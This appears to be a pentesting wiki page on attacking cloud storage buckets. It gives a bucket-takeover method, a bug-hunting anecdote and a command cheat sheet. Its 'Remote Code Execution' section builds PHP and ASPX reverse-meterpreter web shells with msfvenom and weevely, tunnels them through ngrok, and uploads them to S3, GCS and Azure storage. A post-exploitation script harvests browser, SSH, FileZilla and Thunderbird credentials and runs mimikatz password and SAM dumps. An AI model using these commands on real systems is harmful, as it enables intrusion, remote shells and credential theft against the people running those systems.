Cloud Storage
Check List
Methodology
Cloud Storage (AWS S3)
Go to AWS S3 console Create a new bucket with the exact name matching the vulnerable/unclaimed bucket
Complete the bucket creation process Upload a proof-of-concept file (HTML or TXT file) Set the uploaded file’s permissions to public read
Add proper metadata (Content-Type: text/html if HTML file) (Optional) Enable static website hosting on the bucket and set the uploaded file as the index document The attacker now controls the bucket and can serve malicious content
Cloud Storage (S3)
So I get all the alive subdomains use Subdomain Enum Command in cheat sheet
So I put every single alive domain in browser let call it Target example https://$WEBSITE/ so after this I put /%C0 → say https://$WEBSITE/%C0
.And I notice that it give me an cloudflare error like this InvalidURI Couldn’t parse the specified URI/%C0 So I just append the target domain with .s3.amazonaws.com https://$WEBSITE.s3.amazonaws.com/
And I get the bucket name. Some time it says no such bucket. So in that case what I do I just run dig on that Command
So it gives CNAME of pointed (http://$WEBSITE) so I am thinking what to do with this. So I read this article But unluckily on CRUD operation I get access denied and use .aws s3 Commands And in response I have foun PRE Server/
Cheat Sheet
WHOIS Lookup
host $WEBSITEwhois $WEBSITEwhois -h whois.cymru.com -v $TARGETcurl -I $WEBSITEcurl $WEBSITE/robots.txtDNS Enum
dnsenum $WEBSITEdig +short $WEBSITESubdomain Enum
echo "1.1.1.1" > /tmp/resolvers.txt; \
subfinder -d $WEBSITE -all | \
shuffledns -d $WEBSITE -r /tmp/resolvers.txt -mode resolveSource URLs
katana -u $WEBSITE -jc -d 5 | grep -Eo "https?://[^ ]+storage\.googleapis\.com[^ ]*"katana -u $WEBSITE -jc -d 5 | grep -Eo "https?://[^ ]+s3[^ ]+\.amazonaws\.com"katana -u $WEBSITE -jc -d 5 | grep -Eo "https?://[^ ]+s3[^ ]+\.blob.core.windows\.net"Certificate Transparency
curl -s "https://crt.sh/?q=%25.$WEBSITE&output=json" | jq .echo $WEBSITE | gau | grep -E "storage\.googleapis\.com|.*\.storage.googleapis.com"echo $WEBSITE | gau | grep -E "s3\.[a-z0-9-]+\.amazonaws\.com|s3\.amazonaws\.com"echo $WEBSITE | gau | grep -E "s3\.[a-z0-9-]+\.blob.core.windows\.net|s3\.blob.core.windows\.net"nmap -p 80,443 \
--script http-title,http-headers $BUCKET.storage.googleapis.comnmap -p 80,443 \
--script http-title,s3open $BUCKET.s3.amazonaws.comnmap -p 80,443 \
--script http-title,azure-enum $CONTAINER.blob.core.windows.netnuclei -u $WEBSITE \
-tags aws gcp azure cloud cloud-Enum aws-cloud-config azure-cloud-config Open Source Intelligence
site:$WEBSITE inurl:"storage.googleapis.com" |
site:$WEBSITE inurl:"googleusercontent.com"site:$WEBSITE inurl:"amazonaws.com" |
site:s3.amazonaws.com $WEBSITEsite:$WEBSITE inurl:"blob.core.windows.com" |
site:blob.core.windows.com $WEBSITEshodan search net:"$TARGET/24"services.http.response.body: {"s3.amazonaws.com", "storage.googleapis.com", "blob.core.windows.net"}wget https://raw.githubusercontent.com/RhinoSecurityLabs/GCPBucketBrute/refs/heads/master/permutations.txt \
-O /tmp/gcp_buckets.txt
cloudbrute discover \
-d $WEBSITE \
-k "gcp" \
-w /tmp/gcp_buckets.txtwget https://raw.githubusercontent.com/koaj/aws-s3-bucket-wordlist/refs/heads/master/list.txt \
-O /tmp/s3_bucket_list.txt
cloudbrute discover \
-d $WEBSITE \
-k "s3" \
-w /tmp/s3_bucket_list.txtwget https://raw.githubusercontent.com/Macmod/goblob/refs/heads/main/wordlists/goblob-folder-names.txt \
-O /tmp/AzureBlob.txt
cloudbrute discover \
-d $WEBSITE \
-k "azure" \
-w /tmp/AzureBlob.txtnmap -p 80,443 \
--script http-title,http-open-proxy,ssl-cert,http-enum,http-robots.txt,http-auth-finder,s3-buckets,s3-ls,s3-object,s3-enum,s3-brute \
$CONTAINER.blob.core.windows.net \
$BUCKET.storage.googleapis.com \
$BUCKET.s3.amazonaws.comRemote Code Execution
weevely generate 00980098 /tmp/unk9vvn.phpcp /usr/share/webshells/aspx/cmdasp.aspx /tmp/unk9vvn.aspxngrok tcp 4444 >/dev/null 2>&1 &NGINFO=$(curl --silent --show-error http://127.0.0.1:4040/api/tunnels); \
NGHOST=$(echo "$NGINFO" | sed -nE 's/.*public_url":"tcp:\/\/([^"]*):.*/\1/p'); \
NGPORT=$(echo "$NGINFO" | sed -nE 's/.*public_url":"tcp:\/\/.*.tcp.*.ngrok.io:([^"]*).*/\1/p')rm -rf /home/$USER/.msf4/loot/*
msfconsole -qx "
use auxiliary/gather/impersonate_ssl;
set RHOSTS google.com;
run;
exit"cat > /tmp/post-exp.rc << EOF
getprivs
getsystem
run multi/gather/firefox_creds DECRYPT=true
run multi/gather/filezilla_client_cred
run multi/gather/ssh_creds
run multi/gather/thunderbird_creds
run multi/gather/wlan_geolocate
mimikatz
privilege::debug
sekurlsa::logonpasswords
lsadump::sam
bg
EOFmsfvenom -p php/meterpreter/reverse_tcp \
LHOST=$NGHOST \
PORT=$NGPORT \
EnableStageEncoding=true \
-f raw \
-e php/base64 \
-i 3 \
-o /tmp/unk9vvn.php
sed -i "s#eval#<?php eval#g" /tmp/unk9vvn.php
sed -i "s#));#)); ?>#g" /tmp/unk9vvn.phpmsfvenom -p windows/meterpreter/reverse_winhttps \
LHOST=$NGHOST \
PORT=$NGPORT \
EnableStageEncoding=true \
-f asp > /tmp/unk9vvn.aspxmsfconsole -qx "
use multi/handler;
set PAYLOAD php/meterpreter/reverse_tcp;
set LHOST $NGHOST;
set LPORT $NGPORT;
set ReverseListenerBindAddress 127.0.0.1;
set ReverseListenerBindPort 4444;
set StageEncoder true;
set AutoRunScript /tmp/post-exp.rc;
run -j"msfconsole -qx "
use multi/handler;
set PAYLOAD windows/meterpreter/reverse_winhttps;
set LHOST $NGHOST;
set LPORT $NGPORT;
set ReverseListenerBindAddress 127.0.0.1;
set ReverseListenerBindPort 4444;
set StageEncoder true;
set AutoRunScript /tmp/post-exp.rc;
run -j"aws s3 ls s3://$BUCKET.s3.amazonaws.com --no-sign-requestaws s3 cp /tmp/unk9vvn.php s3://$BUCKET.s3.amazonaws.com --no-sign-requestaws s3 cp s3://$BUCKET.s3.amazonaws.com/unk9vvn.php . --no-sign-requestcurl -I https://$BUCKET.s3.amazonaws.com/unk9vvn.phpgsutil ls gs://$BUCKETgsutil cp /tmp/unk9vvn.php gs://$BUCKETgsutil cp gs://$BUCKET/unk9vvn.php .curl -I http://storage.googleapis.com/$BUCKET/unk9vvn.phpaz storage blob list \
--account-name $ACCOUNT \
--container-name $CONTAINER \
--output tableaz storage blob upload \
--account-name $ACCOUNT \
--container-name $CONTAINER \
--name unk9vvn.aspx \
--file /tmp/unk9vvn.aspx \
--auth-mode loginaz storage blob download
--account-name $ACCOUNT \
--container-name $CONTAINER \
--name unk9vvn.aspx \
--file /tmp/test_unk9vvn.aspx \
--auth-mode logincurl -I https://$ACCOUNT.blob.core.windows.net/$CONTAINER/unk9vvn.aspxLast updated